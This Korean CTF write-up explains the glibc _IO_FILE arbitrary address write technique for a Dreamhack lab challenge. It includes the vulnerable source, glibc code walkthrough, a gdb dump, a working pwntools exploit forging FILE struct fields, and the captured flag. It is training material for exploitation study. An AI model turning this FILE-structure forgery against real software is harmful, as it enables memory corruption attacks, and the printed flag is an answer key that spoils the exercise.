콘텐츠로 건너뛰기

_IO_FILE Arbitrary Address Write

Description

Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.


checksec

seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ checksec ./iofile_aaw
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Write/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Decompiled-src

iofile_aaw.c

// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
  FILE *fp;
  fp = fopen("/home/iofile_aaw/flag", "r");
  fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

  write(1, flag_buf, sizeof(flag_buf));
  fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF)
    read_flag();

  fclose(fp);
}

“/etc/issue” 파일을 읽기 모드로 읽고,
파일 포인터에 300바이트만큼의 값을 입력할 수 있다.

그렇게 읽은 “/etc/issue” 파일 내용은 지역변수인 file_buf에 저장되고, printf를 통해 출력한다.

전역변수인 overwrite_me 변수가 0xDEADBEEF일 경우, flag를 획득할 수 있다.


Solution

파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.

대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.

파일을 읽는 함수들은 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출한다.

fread 함수에 대해 살펴보면,

https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/getw.c#L21

#include <stdio.h>

#include <libio/iolibio.h>
#define fread(p, m, n, s) _IO_fread (p, m, n, s)

https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofread.c#L38

#include "libioP.h"

_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t bytes_requested = size * count;
  _IO_size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

https://github.com/bminor/glibc/blob/glibc-2.27/libio/genops.c#L429

_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}

https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L177

#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1294

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  char *s = data;

  want = n;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)
	{
	  memcpy (s, fp->_IO_read_ptr, want);
	  fp->_IO_read_ptr += want;
	  want = 0;
	}
      else
	{
	  if (have > 0)
	    {
	      s = __mempcpy (s, fp->_IO_read_ptr, have);
	      want -= have;
	      fp->_IO_read_ptr += have;
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))
	    {
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }

	  /* These must be set before the sysread as we might longjmp out
	     waiting for input. */
	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

	  /* Try to maintain alignment: read a whole number of blocks.  */
	  count = want;
	  if (fp->_IO_buf_base)
	    {
	      _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
	      if (block_size >= 128)
		count -= want % block_size;
	    }

	  count = _IO_SYSREAD (fp, s, count);
	  if (count <= 0)
	    {
	      if (count == 0)
		fp->_flags |= _IO_EOF_SEEN;
	      else
		fp->_flags |= _IO_ERR_SEEN;

	      break;
	    }

	  s += count;
	  want -= count;
	  if (fp->_offset != _IO_pos_BAD)
	    _IO_pos_adjust (fp->_offset, count);
	}
    }

  return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

fread → _IO_fread → _IO_sgetn → _IO_XSGETN → _IO_file_xsgetn
이렇게 최종적으로 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출하는 것을 알 수 있다.

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  char *s = data;

  want = n;

...
	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }
...
}

해당 함수는 파일 함수의 인자로 전달된 n이 _IO_buf_end - _IO_buf_base 값보다 작은지 검사하고 __underflow() → _IO_new_file_underflow 함수를 호출한다.

https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L469

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
...
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
...
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  ...
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

_IO_new_file_underflow 함수는
파일 포인터의 _flags 변수에 읽기 권한이 부여됐는지 확인한다.

_IO_SYSREAD 함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값을 전달한다.

_IO_SYSREAD 함수는 vtable의 _IO_file_read() 로 매크로 정의를 통해 확인할 수 있다.

https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1152

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
  return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
	  ? __read_nocancel (fp->_fileno, buf, size)
	  : __read (fp->_fileno, buf, size));
}
libc_hidden_def (_IO_file_read)

_IO_file_read 함수에서는 read 시스템 콜을 통해 데이터를 읽는 것을 확인할 수 있다.

read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);

정리하자면, 위와 같이 최종적으로,
read 시스템 콜 인자에는 파일 구조체에서 파일 디스크립터를 나타내는 _fileno_IO_buf_base인 buf, 그리고 _IO_buf_end - _IO_buf_base로 연산된 size가 전달되는 것을 알 수 있다.

이렇게 fd 변수인 _fileno_IO_buf_base , _IO_buf_end , _flags를 적절하게 조작하여 임의의 주소에 쓰기를 수행할 수 있는 공격 방법이 _IO_FILE Arbitrary Address Write이라고 한다.


fp인 파일 구조체에 있는 필드를 조작해서,
overwrite_me 변수를 0xDEADBEEF로 조작해야 된다.

Breakpoint 1, 0x0000000000400862 in main ()
gdb-peda$ p *(FILE *)$rax
$1 = {
  _flags = 0xfbad2488,
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
  _fileno = 0x3,
  _flags2 = 0x0,
  _old_offset = 0x0,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x602340,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,
  _wide_data = 0x602350,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0x0,
  _mode = 0x0,
  _unused2 = '\000' <repeats 19 times>
}

fopen을 한 직후의 FILE 구조체를 살펴보면 위와 같다.

read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);

위에서 언급했던 것처럼 _IO_file_read() 에서 read 시스템 콜을 호출되기 때문에,
fp를 조작할 수 있으므로 read 시스템 콜을 통해 overwrite_me를 조작하면 된다.

_IO_buf_base를 overwrite_me의 주소로 조작하고, 
_IO_buf_end를 overwrite_me + 1024 로 조작하면 된다.

read 함수 인자로 사용되는 size를 적절하게 조작해야되는데,

int
_IO_new_file_underflow (_IO_FILE *fp)
{
...
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
...
}

이러한 이유는 _IO_new_file_underflow()에서 _IO_buf_end - _IO_buf_base 값이 fread 함수의 인자로 전달된 읽기 크기보다 커야되는 조건이 있기 때문이다.

char file_buf[1024];
...
fread(file_buf, 1, sizeof(file_buf)-1, fp);

코드를 보면,
fread 함수의 size로 1023을 사용하고 있기 때문에 더 큰 1024로 조작해야한다.

마지막으로 값을 쓰기 위해서 fileno 를 stdin을 의미하는 0으로 덮고 
_flags는 기존 값 그대로 _IO_IS_FILEBUF, _IO_TIED_PUT_GET, _IO_LINKED, _IO_NO_WRITES 의 권한을 유지한 0xfbad2488값으로 조작하면 된다.

0xfbad2488 == _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)을 의미하고 쓰기를 수행하기위한 flag를 설정한 것이라고 보면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("host3.dreamhack.games", 10995)
#p = process("iofile_aaw")
e = ELF('./iofile_aaw', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

overwrite_me = e.symbols['overwrite_me']

#read(stdin, overwrite_me, overwrite_me+1024 - overwrite_me)
#read(0, overwrite_me, 1024)
payload = p64(0xfbad2488)   #_flags
payload += p64(0)   #_IO_read_ptr
payload += p64(0)   #_IO_read_end
payload += p64(0)   #_IO_read_base
payload += p64(0)   #_IO_write_base
payload += p64(0)   #_IO_write_ptr
payload += p64(0)   #_IO_write_end
payload += p64(overwrite_me)   #_IO_buf_base
payload += p64(overwrite_me+1024)   #_IO_buf_end
payload += p64(0)   #_IO_save_base
payload += p64(0)   #_IO_backup_base
payload += p64(0)   #_IO_save_end
payload += p64(0)   #_markers
payload += p64(0)   #_chain
payload += p64(0)   #_fileno (stdin)
p.sendlineafter("Data: ", payload)
p.sendline(p64(0xdeadbeef) + b"\x00"*1015)

p.interactive()

Result

seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 10995: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] Switching to interactive mode
ᆳ\DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
\x00...[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 10995

FLAG

DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}

Reference

https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Write

태그:

답글 남기기